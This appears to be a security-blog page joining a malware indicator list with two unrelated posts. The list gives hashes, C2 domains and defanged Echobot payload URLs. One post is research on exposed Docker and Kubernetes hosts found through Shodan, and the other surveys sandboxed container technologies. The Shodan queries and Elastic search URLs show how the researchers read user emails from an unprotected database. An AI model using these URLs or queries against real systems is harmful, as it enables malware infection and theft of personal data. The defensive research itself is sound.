046a077bd3ded83b9066350862d204afb04dfe04b71827de8f60929e2f7d4e44

0639e8111253133a617cd0f119c1ef70560de0f044add084c0200a1a4fd6952e

098c7f9c8c8c63d8d79387274f0fe5416702abcb650b983426e116f193b82e61

121e6d208522e1abccacd51f82f03a9178680c222eff5336b84b6f86a770a453

5070aa62866652e533701ee327d6a77ec289cca0deae8fa953d69f9d12c89c55

7ffb658d09c5c55c04ac1cef4e1e3c428c0363130381e0aef8c769ea11c64370

87195d5262c205b3356cfe815d60d41a11a8f563b4cd4abd75da73128e02f86c

9dc3e2fc27e138a588e6a25dc5432d78f0930046286fc64b9c65246beda19a45

b3e5726e56f604656a322fc6c62585e73f594d053d6891c3fa94c3fff41f30cb

b44b658716cf1326ad27e58b1a45c96684f6182d2a5d8596fb8fd7e60656a241

b4a370ff3d59d43924ace6c8ef34df55b6e45b4dcff2f0f2db36bbb40e6c203e

Other Samples with unknown in-the-wild URLs

22ff3cc031c9ae43757030a1cb1a8fc09171f370469b79770faaca3eb5dbbfef

385d26249622f65692423312846feed6eba96cea5d6e0bfbfa755307985cb8cd

621e17811228b8ea559a2f6905235fcbcc59e7c06b9c380962aca3fcac15600c

729d3b3363bd69b2cc60b9600ea91223361021f75b6f7484a49ead95a325b60c

970783c2e358b1238f8e571989caf696f6af585dccad64dd21bf1703835b80d1

be7f56a58a908125ce2066fb0691d9f9eef868509a5d53f08e8362f21542b76c

cb8b4d3d24607731cdffa7015eb6299373870c53a854b4a23657f8ede53113c6

e8df1d766fc3763ffa79663920f47f158ec55605fdbf8bf5a55fcdcfe61be78d

e94482b0382aa7907c41c329772085c288e55dd4b8ffd28277131d9ca9b2e9d2

 C2

akuma[.]pw

akumaiotsolutions[.]pw

Malware URLs/Payload Sources

31.13.195[.]251/ECHOBOT.sh

31.13.195[.]251/ECHO/ECHOBOT.arm

31.13.195[.]251/ECHO/ECHOBOT.arm5

31.13.195[.]251/ECHO/ECHOBOT.arm6

31.13.195[.]251/ECHO/ECHOBOT.arm7

31.13.195[.]251/ECHO/ECHOBOT.m68k

31.13.195[.]251/ECHO/ECHOBOT.mips

31.13.195[.]251/ECHO/ECHOBOT.mpsl

31.13.195[.]251/ECHO/ECHOBOT.ppc

31.13.195[.]251/ECHO/ECHOBOT.sh4

31.13.195[.]251/ECHO/ECHOBOT.spc

31.13.195[.]251/ECHO/ECHOBOT.x86

Misconfigured and Exposed: Container Services

Posted on by Nathaniel Quist

Executive Summary

There are 40,000+ unique container hosting devices which have default container configurations that allow for quick identification. Both Kubernetes and Docker container platforms each have over 20,000 unique instances apiece. This does not necessarily mean that each of these 40,000+ platforms are vulnerable to exploits or even the leakage of sensitive data: it simply highlights that seemingly basic misconfiguration practices exist and can make organizations targets for further compromising events. Seemingly simple misconfigurations within cloud services can lead to severe impacts on organizations. For example, Docker Hub losing keys and tokens for 190,000 accounts was the result of an attacker exploiting weak security configurations of key and token storage within a cloud environment. Ladders, leaking of over 13 million user records is a perfect example of a basic container misconfiguration having significant consequences. The lessons learned from the Ladders breach should be at the security configuration forefront for all organizations deploying container services.

In our research, we were able to easily find 20,353 Kubernetes containers globally using simple search terms. These instances were located in the United States, Ireland, Germany, Singapore, and Australia and the overwhelming majority of them were hosted on Amazon. We were also able to easily find 23,354 Docker containers globally using simple search terms. These instances were located in China, the United States, Germany, Hong Kong, and France. In the case of Docker, while Amazon was again the top hoster, there was a broader distribution of hosters for these instances.

We then did further research into some of these exposed instances to see what services were exposed and information being leaked. We found sites exposing database instances to the public and also sites easily exposing personal information.

The following research highlights the results from Unit 42’s research into misconfigured containers, methods for identifying services exposed to the public, and mitigation steps to secure container services. In this blog, we identify common misconfigurations in container services. This allows our readers to deploy their container platform structures in a more secure and private fashion, avoiding the methods of data gathering that we outline in this blog.

Cloud Services

Cloud services can be any service that is available over an internet connection. Cloud services allow organizations to quickly deploy, maintain, and support projects requiring dedicated availability for services that may experience demand fluctuations in their designed service offering; common examples are API gateways, web services, and databases. There are several orchestration platforms, facilitated by either a managed service provider or by a self-serviced internal organization, which provides configuration functionality for containers and can provide policy enforcement for the platform. This functionality covers security or audit logging, role-based access control, and network connection enforcement for cloud infrastructure. Selecting the appropriate orchestration platforms or service providers can greatly assist in the security of cloud containers.

Shodan

To identify which cloud services and container platforms were exposed to the public Internet, Unit 42 used Shodan to highlight the ease of identification of these services. For reference, Shodan has been called the “Google for finding IoT” (Internet of Things) devices. While this research is not focused on identifying IoT devices, several of the same techniques can be used to identify cloud systems and containers that are connected to the public Internet. Like IoT devices, containers are connected to the Internet and can be publicly exposed through misconfigurations.

Shodan continually scans the publicly accessible internet address space, requests and then records the responses from each port, or service, for each particular address. The responses are saved to a database which is then made available to Shodan members. Shodan provides services like enhanced system analysis, service categorization, and tagging features which provide additional insight into the functionality and scope of each identified system. Some of this data is available via a free Shodan account, typically with a rate limit to avoid automated abuse, while additional analytic content curated by the Shodan team is only available to paying account holders. Examples of the paid membership benefits are: increased rate limits for returned results, advanced filter capabilities for detailed search requests, increased alerting on changes to specific net ranges, automated scanning over pre-defined criteria, and the ability to query for specific analytic tags. To highlight the ease of use for finding container services identified within this blog, the examples below can be performed with a free Shodan account.

Hunting for Exposed Default Containers

Default container platforms with little customization have telling characteristics which can be used to easily identify them within a Shodan search. Searches as simple as using the key terms of “kubernetes”, “docker” or even “k8s”, which is an abbreviated term for Kubernetes, being that there are eight characters between the ‘k’ and the ‘s’, can all be used to identify default containers.

Here are some simple search examples and results using the Shodan website:

Kubernetes

    • Performing a Shodan search for the term “Kubernetes”, results in a total of 20,353 devices which contain the term. There is additional metadata information returned, allowing the researcher to drill into what could be interesting results. Items like top countries, services, organizations, operating systems, and products. As you can see from the returned information, the United States has the most number of devices containing the term “Kubernetes” and we can also see that Amazon[.]com is the organization which hosts the majority of these devices. Figure 1 illustrates the type of results Shodan pulls back.

Figure 1. Shodan webpage Kubernetes query results

    • Figure 2 illustrates an example of using the Shodan CommandLine Interface (CLI) tool. It shows an example of the ‘count’ functionality of a particular keyword. In this case, the current count of devices which contain the keyword “Kubernetes”, as it displayed within the Figure, the total count of devices is the same result as Figure 1, 20,353. For additional information regarding available commands provided by the Shodan CLI, please direct your attention to the Shodan CLI page. Suffice to say, having scriptable capabilities of Shodan searches can be very beneficial for researchers who wish to perform complex searches.

Figure 2. Shodan CLI Kubernetes query results

k8s

    • Figure 3 shows a total of 509 devices which contain the term “k8s”. It is also interesting to note that the United States still remains the top country for returned results and that Amazon[.]com is still the top organization hosting k8s devices.

Figure 3. Shodan webpage k8s query results

    • Figure 4, Shodan’s CLI also shows the same count value for k8s devices.

Figure 4. Shodan CLI k8s query results

Docker

    • Figure 5 shows there were 23,354 devices which contain the term “Docker”. This is 1,001 more than Kubernetes devices, which could be accounted for due to Docker being an older and more established container platform. However, it is interesting to note that the top 5 countries are closer in total count than either Kubernetes or k8s. China came in as the top country with 6,015 and the United States was second at 4,617. Amazon[.]com remained the top organization but the next 3 out of 4 remaining top 5 organizations were Chinese based organizations, and number 2 was a Hong Kong based organization. These numbers can lend insight into which organization’s are favored to host Docker containers within each country.

Figure 5. Shodan webpage Docker query results

These searches reveal that Kubernetes and Docker container platforms each have over 20,000 unique instances publicly exposed to the internet, and the Kubernetes platforms have up to an additional 509 unique instances configured using its commonly used abbreviation, k8s. This does not necessarily mean that each of these 40,000+ platforms are vulnerable to exploits or potentially leaking sensitive data, it simply highlights that misconfiguration practices exist even in the most basic form of failing to rename a container. However benign, basic misconfigurations are being used within the industry. If there are misconfigurations in basic container usage, how far can this misconfiguration practice carry an ambitious attacker? And more importantly, can sensitive information be gathered from these misconfigured container platforms?

According to our research, yes. There are instances where the failure to properly configured containers can lead to the loss of sensitive information. This type of misconfiguration practice is becoming more publicized yet reports like Docker Hub losing keys and tokens for 190,000 accounts dominate headlines and can mask the deeper underlying issue. A good example being the recent report of the recruitment site Ladders, leaking of over 13 million user records. This is the result of a simple misconfiguration practice, failure to implement basic authentication requirements.

Hunting for Exposed Default Services

In order to identify the exposure of misconfigured container services, we first need to build a baseline for our research and to understand the landscape we are researching. By default Elastic, Kibana, and MySQL services use the following ports of 9200, 5601, and 3306, respectively. Shodan can provide basic insights into the total number of how many of each service are publicly accessible.

Elastic

An Elastic database uses the TCP port 9200 as the default Rest API interface for the data contained within the database. When navigating to an Elastic database via a browser, the user would be presented with a JSON formatted response with the datasets allowed to be viewed. In Figure 6, we show the result of a Shodan search we performed to count the total number of devices which had the TCP port 9200 open to the public. There were 1.448 million devices identified, with 1.3 million located within the United States. Nearly half of all the devices, 775,284 entries, returned the domain of ‘googleusercontent[.]com’. When performing additional research correlating the domain in conjunction with the port 9200 across known issues within Google Infrastructure, resulted in this being an Elastic service hosted on Google Cloud infrastructure. This is a very strong indicator that nearly all of these identified devices are hosting Elastic services. This domain also accounted for 53% of all Elastic instances.

Figure 6. Shodan CLI statistics for port 9200 (Elastic)

Kibana

Kibana is a database visualization tool used to provide a user with a Graphical User Interface (GUI) to view database information. Kibana uses an HTTPS web browser connection over the TCP port 5601 by default. In Figure 7, we show the results of a Shodan search we performed to count the total number of devices which had the TCP port 5601 open to the public. There was a total of 349,403 devices identified, with 288,159 located within the United States. As was the case with the Elastic results before the majority of entries, 56,635, were from the domain of ‘incapdns[.]net’. This domain is a web site hosting service which provides web hosting services for organizations. This domain accounted for 16% of all port 5601 entries.

Figure 7. Shodan CLI statistics for port 5601 (Kibana UI)

MySQL

The MySQL protocol is used to facilitate network communication to a SQL database over TCP port 3306 by default. In Figure 8, we show the results of a Shodan search we performed to count the total number of devices which had the TCP port 3306 open to the public. There was a total of 4.816 million devices identified worldwide with 2.138 million located within the United States. Interestingly, Google Cloud services fell 7 spots within these results and Amazon was the domain which hosted the largest number of MySQL protocol enabled services. It is important to note that no hosting domain carried the vast majority of MySQL protocol enabled services, with the highest percentage of instances being only 4% of all identified MySQL enabled devices being hosted on Amazon.

Figure 8. Shodan CLI statistics for port 3306 (SQL DB)

In recap, these results provide us with a frame of reference on the total scope of the services available to the public. At the time of this writing, there were 1,448,102 devices listening on port 9200, 349,403 devices listening on port 5601, and 4,816,638 devices listening on port 3306. It is important to note that not all of the data contained within these unique systems are accessible to the public, research points to the vast majority of these systems requiring authentication credentials in order to access any contained data. Additionally, it is possible that several of these systems do not host an Elastic, Kibana, or MySQL protocol enabled service, but rather another service that is simply listening on the same port that these services do by default. As such, these results do not greatly assist researchers to identify container misconfigurations.

Narrowing our Scope

Now that we have identified the landscape, we will now narrow our scope to identify any misconfigured containers that may be present. We began by augmenting our initial baseline queries, see figures 6-8 within the previous section, by combining multiple searches together. For example, searching for default ports with default container names, “port:9200” (the Elastic database RestAPI port) with the term “Kubernetes”. This query format would allow us to identify defaults Elastic services running on default Kubernetes container instances.

To focus on Elastic services hosted on Kubernetes containers, we performed a search with both ‘port:9200’ and ‘kubernetes’. As you can see from Figure 9, the results were narrowed from 20,353 unique results (Figure 1) from Kubernetes alone, and 1.4 million results from port:9200 alone (Figure 6), to a total of 13. The majority of the devices are hosted within China and the United States has only 2.

Figure 9. Shodan CLI statistics for port 9200 (Elastic) and Kubernetes

To focus on Docker containers hosting Elastic services, we performed a search with ‘port:9200’ and ‘docker’ as the key terms. Figure 10 illustrates a total of 39 unique devices contained default Elastic services hosted on default docker containers.

Figure 10. Shodan CLI statistics for port 9200 (Elastic) and Docker

Instead of the 1.4 million default Elastic instances, we narrowed the results to 13 default Elastic instances running on default Kubernetes platforms and 39 instances on default Docker platforms. This quantity is much easier to analyze and perform deeper research.

Shodan records the IP addresses of each system and those addresses from the identified Elastic instances were gathered using the following Shodan CLI command:

shodan search –fields ip_str port:9200

With the resulting IP addresses, we investigated select systems to identify if they contained sensitive information.

Example #1

The following system did have an unprotected elastic database exposed to the public. This database did not contain any sensitive information, however, it is a good example of what types of information an Elastic database can provide. We navigated to the Elastic system and performed the search query ‘<ipaddress>:9200/_search?q=*’. This query returned the following JSON data, see Figure 11.

Figure 11. JSON results from a queries Elastic database

Example #2

Example #2 did contain sensitive information within a default container using default services. Researchers navigated to the Elastic instance using the previously defined URL query format:

<ipaddress>:9200/_search?q=*

When investigating, a database titled “users-registered-2018*” was identified. We added the database to the search query:

<ipaddress>:9200/users-registered-2018*/_search?q=*

We identified a total of 19 user email addresses contained within the database, see Figure 12.

Figure 12. User email addresses identified

Email addresses are not on the same level of sensitivity as items like credit card numbers, social security numbers, or other highly sensitive information. However, they are often targeted by malicious actors. An example of a malicious action which could be performed leveraging email addresses would be spear phishing attacks. Malicious actors could gather information on an organization like its geographic location, the number or type of office buildings, and most importantly, employee names. This information allows an attacker to construct targeted emails, Business Email Compromise (BEC), which contain familiar information for the victims, enticing them to click on malicious links resulting in compromised accounts.

Unit 42 further identified that this system not only hosted an Elastic database without any form of authentication mechanism to help secure the data it contained, but also hosted an additional unsecured service: an instance of Kibana running alongside the Elastic instance.

We queried the following URL ‘<ipaddress>:5601’, and were able to gain access to the Kibana dashboard which contained additional database information aside from what was initially found within the Elastic service. We found two additional databases, one which contained internal infrastructure IP addresses and the second which contained logging information for a custom internal integration system. Finally, the user-registry database appeared to only have a two-month active life span, between September and November 2018, but the services were still in operation as of the time of this writing. Additionally, at the time of this writing the owner of the database has yet to be identified; we are still trying to ascertain who the owner for victim notification.

Figure 13. User email addresses identified via Kibana

Mitigation Steps

Unit 42 proposes the following steps to improve the overall security of container platforms.

  • Invest in cloud security platforms or managed services which focus in container security strategies.
  • Limit access to services hosted on containers to internal networks, or prior designated personnel, through the use of firewall controls or container platform network policies. The following links can help assist secure access to containers:
  • Establish basic authentication requirements for your containers. The following two links provide helpful instructions for how to establish a basic authentication practice for either Docker or Kubernetes:
  • Identify the type of data stored or managed within each container and use the appropriate security practices to keep these data types secure.
    • Your organization’s compliance policies will assist in dictating the protections required.
  • Isolate services to their own containers. Do not host more than one service on a single container, this will improve the resource efficiency of the container itself, and will assist in implementing effective security policies.

Conclusion

Default configurations can be significant security risks for organizations. The research performed by Unit 42 demonstrated the ease of use in searching for default configurations and demonstrated how a potential attacker could leverage an open source tool like Shodan. Misconfigurations such as using default container names and leaving default service ports exposed to the public leave organizations vulnerable to targeted reconnaissance. Using the proper network policies, or firewalls can prevent internal resources from being exposed to the public internet. Additionally, investing in cloud security tools can alert organizations to risks within their current cloud infrastructure. With attacks like that of the Ladders data leakage, or the Docker Hub loss of keys and tokens, the risks facing organizations operating in the cloud are great.

Making Containers More Isolated: An Overview of Sandboxed Container Technologies

Posted on by Jay Chen

Executive Summary

While the majority of the IT industry is in the midst of adopting container-based infrastructure (cloud-native solution), it is imperative to understand the technology’s limitations. Traditional containers such as Docker, Linux Containers (LXC), and Rocket (rkt) are not truly sandboxed as they share the host OS kernel. They are resource-efficient, but the attack surface and the potential impact of a breach are still large, especially in a multi-tenant cloud environment that co-locate containers belonging to different customers. The root of the problem is the weak separation between containers when the host OS creates a virtualized userland for each container. There has been research and development focusing on designing truly sandboxed containers. Most of the solutions re-architect the boundary between the containers to fortify the isolation. This blog covers four unique projects from IBM, Google, Amazon, and OpenStack, respectively, that use different techniques to achieve the same goal, creating stronger isolation for containers. IBM Nabla builds containers on top of Unikernels, Google gVisor creates a specialized guest kernel for running containers, Amazon Firecracker is an extremely lightweight hypervisor for sandboxing applications, and OpenStack places containers in a specialized VM that is optimized for container orchestration platforms. The following overview of this state of the art research should help readers prepare for the upcoming transformation.

Overview of Current Container Technology

Containers are the modern way of packaging, sharing, and deploying an application. As opposed to a monolithic application in which all functionalities are packaged into a single software, containerized applications or microservices are designed to be single-purpose specializing in only one job. A container includes every dependency (e.g., packages, libraries, and binaries) that an application needs to perform its task. As a result, containerized applications are platform-agnostic and can run directly on any operating system regardless of its version or installed packages. This convenience saves developers tremendous effort of tailoring different versions of software for different platforms or customers. Although not entirely accurate, conceptually, many people like to think of containers as "lightweight virtual machines." When a container is deployed on a host, each container’s resources such as its file system, process, and network stack are placed in a virtually isolated environment which no other containers can access. This architecture allows hundreds or thousands of containers to run concurrently on the same cluster and each application (or microservice) can be easily scaled up by replicating more container instances.

Under the hood, the container evolvement is built on top of the two key building blocks, Linux namespace and Linux Control group (cgroup). Namespace creates a virtually isolated user space and gives an application its dedicated system resources such as file system, network stack, process id, and user id. In this isolated user space, the application controls the root directory of the file system starting with PID = 1 and may run as the root user. This abstracted userspace allows each application to run independently without interfering with other applications on the same host. There are currently six namespaces available: mount, inter-process communication (ipc), UNIX time-sharing system (uts), process id (pid), network, and user. Two additional namespaces, time and syslog, are proposed but the Linux community are still defining the specifications. Cgroup enforces hardware resources limitation, prioritization, accounting, and controlling of an application. Example hardware resources that cgroup can control are CPU, memory, device, and network. When putting namespace and cgroup together, we can securely run multiple applications on a single host with each application residing in its isolated environment. This is the fundamental property of a container.

The main difference between a virtual machine (VM) and a container is that the VM is a hardware-level virtualization and a container is a OS-level virtualization. VM hypervisor emulates a hardware environment for each VM, where the container runtime emulates an operating system for each container. VMs share the host’s physical hardware and containers share both the hardware and the host’s OS kernel. Because containers share more resources from the host, their usages of storage, memory, and CPU cycles are all much more efficient than a VM. However, the downside of more sharing is the weaker trust boundary between the containers and the host. Figure 1 illustrates the architectural difference between a container and a VM.

Figure 1. In machine virtualization, hypervisor or virtual machine monitor (VMM) provides the isolation between each guest OS.  In containers, the host operating system provides the isolation between each container.

* Only Type II VMM needs to run on operating system. Type I VMM runs on the physical hardware.

In general, virtualized hardware isolation creates a much stronger security boundary than namespace isolation. The risk of an attacker escaping a container (process) is much higher than the chance of escaping a VM. The reason for higher container escaping risk lies on the weak isolation that namespace and cgroup create. Linux implements namespace and cgroup by associating new property fields to each process. These fields under the /proc file system tell the host OS if one process can see the other or how much the CPU/Memory budget that the process can use. When viewing the running processes and threads from the host OS (e.g., top or ps commands), a container process looks just like any other process on the host. In general, traditional containers such as LXC or Docker are not considered truly sandboxed as containers on the same host share the same kernel. It is thus not surprising to see container escape vulnerabilities. For example, CVE-2014-3519, CVE-2016-5195, CVE-2016-9962, CVE-2017-5123, and CVE-2019-5736 can all lead to container breakout. Most kernel exploits should work for escaping containers as kernel exploits typically lead to privilege escalation and allow the compromised process to gain control outside its intended namespaces. Besides the attack vectors from software vulnerabilities, misconfiguration such as deploying a container with excessive privileges (e.g., CAP_SYS_ADMIN capability, privileged permission) or critical mount points (e.g., /var/run/docker.sock) may all lead to container escape. With these potential catastrophic outcomes, one should understand the risk when deploying containers in a multi-tenant cluster or having containers with sensitive data co-locate with other untrusted containers.

These security concerns motivate researchers to build stronger trust boundaries for containers. The idea is to create a real “sandboxed” container that is isolated from the host OS as much as possible. Most of the solutions involve creating a hybrid architecture that leverages the strong trust boundary from the VM and focus on better efficiency from the container. At the time of writing, there is no single project that is mature enough to be standardized, but the future container development will undoubtedly adopt some of these intriguing concepts. In the rest of the blog, we will go over several promising projects and compare their characteristics.

We start by introducing the Unikernel, the earliest single-purpose machine that packages the application with a minimal set of OS libraries into a single image. The concept of unikernel is fundamental to many future projects that aim to create secure, low-footprint, and optimized machine images. We then look at IBM Nabla, a project aiming to run unikernel applications like containers, and Google gVisor, a project that runs containers on a user-space kernel. After these two unikernel-like projects, we then move to VM-based container solutions, Amazon Firecracker and OpenStack Kata. The last section concludes the blog with a comparison of all the mentioned projects.

Unikernel

The advance of virtualization technologies has enabled the movement towards cloud computing. Hypervisors such as Xen and KVM are the fundamental building blocks that power Amazon Web Service (AWS) and Google Computing Platform (GCP). Although modern hypervisors are capable of handling hundreds of VMs in a cluster, VMs built from the traditional general-purpose operating systems are usually not optimized for running in a virtualization environment. A general-purpose OS is designed to support as many types of applications as possible, so its kernel includes all kinds of drivers, protocol libraries, and schedulers. However, most individual VMs deployed in the cloud today are dedicated to a single application such as DNS, proxy, or database. As each application only relies on a small subset of the kernel functions, the rest of the unused kernel functions waste the system resource and increase the attack surface. The larger the codebase is, the more vulnerabilities and bugs need to be managed. These problems motivate computer scientists to design single-purpose OSes with the minimal kernel functionalities to support just a single application.

Operating system researchers first proposed the idea of "Unikernel" in the 1990s. Unikernel is a specialized and single-address-space machine image that can run directly on hypervisors. It packages the application and the application-dependent kernel functions into an image. Nemesis and Exokernel are the two earliest academic unikernel projects. Figure 2 illustrates how a unikernel machine image is created and deployed.

Figure 2. Multi-purpose OSes are built to support all types of applications, so many libraries and drivers are preloaded. Unikernels are specialized single-purpose OSes that are built to support a single application.

Unikernels break the kernel into multiple libraries and place only the application-dependent libraries into a single machine image. Like VMs, unikernels are deployed and run on virtual machine monitors. Due to their small footprints, unikernels can boot and scale up quickly. Unikernels’ most essential properties are improved security, small footprint, high optimization, and fast boot. Because unikernel images contain only the application dependent libraries, and a shell is unavailable unless specifically included, it has minimal attack surface that attackers can leverage. Not only is getting a foothold in unikernels difficult for attackers, but the impact of a compromise is also limited to a single unikernel instance. Because the size of unikernel images is just a few megabytes, unikernels can boot in tens of milliseconds and hundreds of instances can be run on a single host. Using the single-address-space memory allocation instead of the multilevel page table in most of the modern OSes, unikernel applications have lower memory access latency than the same application running in a VM. Because applications are compiled with the kernel when building the image, compilers can perform more static type checking to optimize the binaries.

Unikernel.org maintains a list of the unikernel projects. With all these salient properties, unikernels, however, have not gained much traction. When Docker acquired a unikernel startup, Unikernel Systems, in 2016 people thought that Docker would package containers into unikernels. After 3 years, there is still no sign of any integration. One main reason for this slow adoption is that there is still no mature tool to build unikernel applications and most of the unikernel applications can only run on specific hypervisors. Furthermore, porting an application to unikernel may require recoding with different languages and manually including the dependent kernel libraries. Monitoring or debugging in unikernels is either impossible or causes a significant performance impact. All these limitations hold back developers from migrating to unikernels. One should note that unikernels and containers share many similar properties. Both unikernels and containers are single-purpose images that are immutable, meaning that components in images cannot be updated or patched, and a new image is always created for an updated application. Unikernels today are like the pre-Docker era when no container runtime was available and developers need to use the basic building blocks to sandbox an application: chroot, unshare, and cgroup.

IBM Nabla

Researchers from IBM have proposed the idea of "Unikernel as process": that is a unikernel application run as a process on a specialized virtual machine monitor. IBM’s project "Nabla containers" further hardens the unikernel trust boundary by replacing the general-purpose monitor (e.g., QEMU) with their unikernel-specific monitor Nabla Tender. The rationale is that the hypercalls between the unikernels and the general-purpose Virtual Machine Monitor (VMM) still pose a large attack surface, so using a unikernel-specific monitor with fewer allowed system calls can significantly improve the security. Nabla Tender intercepts the hypercalls that unikernels send to the VMM and translates them to system calls. The Linux seccomp policy blocks all other system calls that Tender does not need. A unikernel together with Nabla Tender then runs as a user space process on the host. Figure 3 shows how Nabla creates a thin interface between the unikernel applications and the host.

Figure 3. To interface Nabla with the existing container runtime platforms, Nabla implements the OCI compliant runtime runnc that can be plugged into platforms like Docker and Kubernetes. Image source: Unikernels as Process

The researchers claim that Nabla Tender uses less than seven syscalls to interface with the host. As syscalls serve as the bridge between the user space processes and the OS kernel, the fewer the available syscalls are, the smaller the attack surface exposed to the kernel. One additional benefit of running unikernel as a process is that the unikernel applications can be debugged with most process-based tools such as gdb.

To leverage the container orchestration platforms, Nabla also provides its Nabla runtime runnc that implements the Open Container Initiative (OCI) standard. The OCI standard specifies the API between runtime clients (e.g., Docker, Kubectl) and runtime (e.g., runc). Nabla also provides an image builder to create a unikernel image that runnc can execute. Due to the difference in file system between unikernels and traditional containers, Nabla images do not follow the OCI image specification and thus Docker images are not compatible with runnc. At the time of writing, the project is still in its early experimental stage. There are other limitations such as the lack of support for mounting/accessing host file systems, adding multiple network interfaces (needed for Kubernetes), or using images from other unikernel images (e.g., MirageOS and include OS).

Google gVisor

Google gVisor is the sandbox technology that powers Google Computing Platform’s (GPC) App Engine, Cloud Functions, and CloudML. Google realized the risk of running untrusted applications in the public cloud infrastructure and the inefficiency of sandboxing applications using VMs, and developed a user space kernel to sandbox the untrusted applications. gVisor sandboxes applications by intercepting all the system calls from applications to host kernel and handling them with gVisor's kernel implementation Sentry in user space. It essentially functions as a combination of guest kernel and VMM. Figure 4 shows gVisor's architecture.

Figure 4. gVisor kernel implementation Sentry and gVisor file system implementation Gofer use a small subset of syscalls to interface with the host. Image source: gVisor Architecture Guide, gVisor Overview and Platform

gVisor creates a strong security boundary between an application and its host. This boundary restricts the syscalls that applications in user space can use. Without relying on the virtualized hardware, gVisor runs as a host process that interfaces between the sandboxed application and the host. Sentry implements most of the Linux system calls and essential kernel functions such as signal delivery, memory management, network stack, and threading model. Sentry has implemented more than 70% of the 319 Linux syscalls to support the sandboxed applications. For Sentry to communicate with the host kernel, it only uses less than 20 Linux syscalls. It is worth noting that gVisor and Nabla share a very similar strategy: defending the host OS. Both of them use less than 10% of the Linux syscalls to interface with the host kernel. While gVisor creates a multi-purpose kernel and Nabla relies on the unikernels, they both run a specialized guest kernel in user space to support the sandboxed applications.

One may wonder why gVisor needs to re-implement another Linux kernel while the open-source Linux kernel is readily available. gVisor's kernel written in Golang is more secure than the Linux kernel written in C due to the strong type safety and memory management features in Golang. Another important selling point of gVisor is its tight integration with Docker, Kubernetes, and the OCI standard. Most of the Docker images can be simply pulled and run with gVisor by changing the runtime to gVisor runsc. In Kubernetes, instead of sandboxing each container, an entire pod can be run in a gVisor sandbox.

As gVisor is still in its infancy, there are still some limitations. There is always overhead when gVisor intercepts and handles a syscall made by the sandboxed application, so it is not suitable for syscall heavy applications. (Note that there is no such overhead in Nabla as unikernel applications don’t make syscalls. Nabla uses seven syscalls only to handle the hyercalls.) gVisor has no direct hardware access (passthrough), so applications that require hardware access such as GPU cannot run in gVisor. Finally, as gVisor has not implemented all the Linux syscalls, applications that use unimplemented syscalls can't run in gVisor.

Amazon Firecracker

Amazon Firecracker is the technology that powers AWS Lambda and AWS Fargate today. It is a VMM that creates lightweight virtual machines (MicroVMs) specifically for multi-tenant containers and serverless operational models. Before Firecracker was available, Lambda functions and Fargate containers were running inside dedicated EC2 VMs for each customer to ensure the strong isolation. Although VMs create strong isolation for containers in public cloud, using general-purpose VMMs and VMs for sandboxing applications is not very resource-efficient. Firecracker solves both the security and performance issues by creating a VMM specifically for cloud-native applications. Firecracker VMM provides each guest VM with the minimal OS functionalities and emulated devices to enhance both the security and performance. Users can easily build VM images that run on Firecracker with a Linux kernel binary and ext4 file system image. Amazon started developing Firecracker in 2017 and made it open source in 2018.

Similar to the unikernel concept, only a small subset of the devices and functionalities are provisioned to support the container operations. Compared to traditional VMs, microVMs have a much smaller attack surface, memory footprint, and boot time. Evaluation shows that a Firecracker microVM consumes ~5 MB memory and boots up in ~125 ms when running on a 2 CPU and 256G RAM host.  Figure 5 shows the Firecracker architecture and its security boundary.

Figure 5. Firecracker VMM enforces layers of security boundary to isolate each user’s applications. Image source: Firecracker Design

Firecracker VMM relies on KVM and each Firecracker instance runs as a user space process. Each Firecracker process is locked down by the seccomp, cgroup, and namespace policies so that the system calls, hardware resource, file system, and network activities are strictly limited. There are multiple threads inside each Firecracker process. API thread provides the control plane between the clients on the host and the microVM. VMM thread provides a minimal set of virtIO devices (net and block). Firecracker provisioned only four emulated devices for each microVM: virtio-block, virtio-net, serial console, and a 1-button keyboard controller used only to stop the microVM. For security purpose, VMs do not have a mechanism to share files with the host. The data on the host such as container images are exposed to microVMs through File Block Devices. The network interfaces for VMs are backed by the tap devices over a network bridge. All the outbound packets are copied to the tap device and rate-limited by cgroup policy. The layers of security boundary minimize the chance of having one user’s applications disrupt the other’s.  

At the time of writing, Firecracker has not yet fully integrated with Docker and Kubernetes. Firecracker does not support hardware passthrough, so applications that need GPU or any device accelerator access are not compatible. It has limited VM-to-host file sharing and networking models as well. However, as the project is backed by a large community, it should be soon interfaced with the OCI standard and supports more applications.

OpenStack Kata

Seeing the security concerns of the traditional containers, Intel launched their VM-based container technology Clear Containers in 2015. Clear containers rely on the Intel® VT hardware-based virtualization technology and a highly-customized QEMU-KVM hypervisor qemu-lite to realize a high performance VM-based container. At the end of 2017, Clear containers project joined with Hyper RunV, a hypervisor-based runtime for OCI, to initiate the Kata containers project. Inheriting all the properties of the Clear Containers, Kata Containers now support a wider variety of infrastructures and container specifications.

Kata container is fully integrated with OCI, Container Runtime Interface (CRI), and Container Networking Interface (CNI). It supports various types of networking models (e.g., passthrough, MacVTap, bridge, tc mirroring) and configurable guest kernels so that the applications requiring special networking models or kernel versions can all run on it. Figure 6 shows how containers inside Kata VMs interact with the existing orchestration platforms.

Figure 6. Kata containers are fully integrated with Docker and Kubernetes. Image source: An overview of the Kata Containers project

Kata has a kata-runtime on the host to start and configure new containers. For each container in Kata VM, there is a corresponding Kata Shim on the host. Kata Shim receives API requests from the clients (e.g., docker or kubectl) and forwards the requests to the agent inside the Kata VM through VSock. Kata containers further make several optimizations to reduce the VM boot time. NEMU is a lightweight version of QEMU with ~80% of devices and packages removed. VM-Templating creates a clone of running Kata VM instance and shares it with other newly created Kata VMs. It significantly reduces the boot time and guest VM memory consumption but may be vulnerable to cross-VM side-channel attack like CVE-2015-2877. Hotplug capability allows a VM to boot with the minimal resources (e.g., CPU, memory, virtio block) and add additional resources later when requested.  

Kata containers and Firecracker are both VM-based sandbox technology designed for cloud-native applications. They share the same goal but take very different approaches. Firecracker is a specialized VMM that creates a secure virtualization environment for guest OSes while Kata containers are lightweight VMs that are highly optimized for running containers. There has been efforts to run Kata containers on the Firecracker VMM. While the project is still experimental, it can potentially bring together the best features of the two projects.

Conclusion

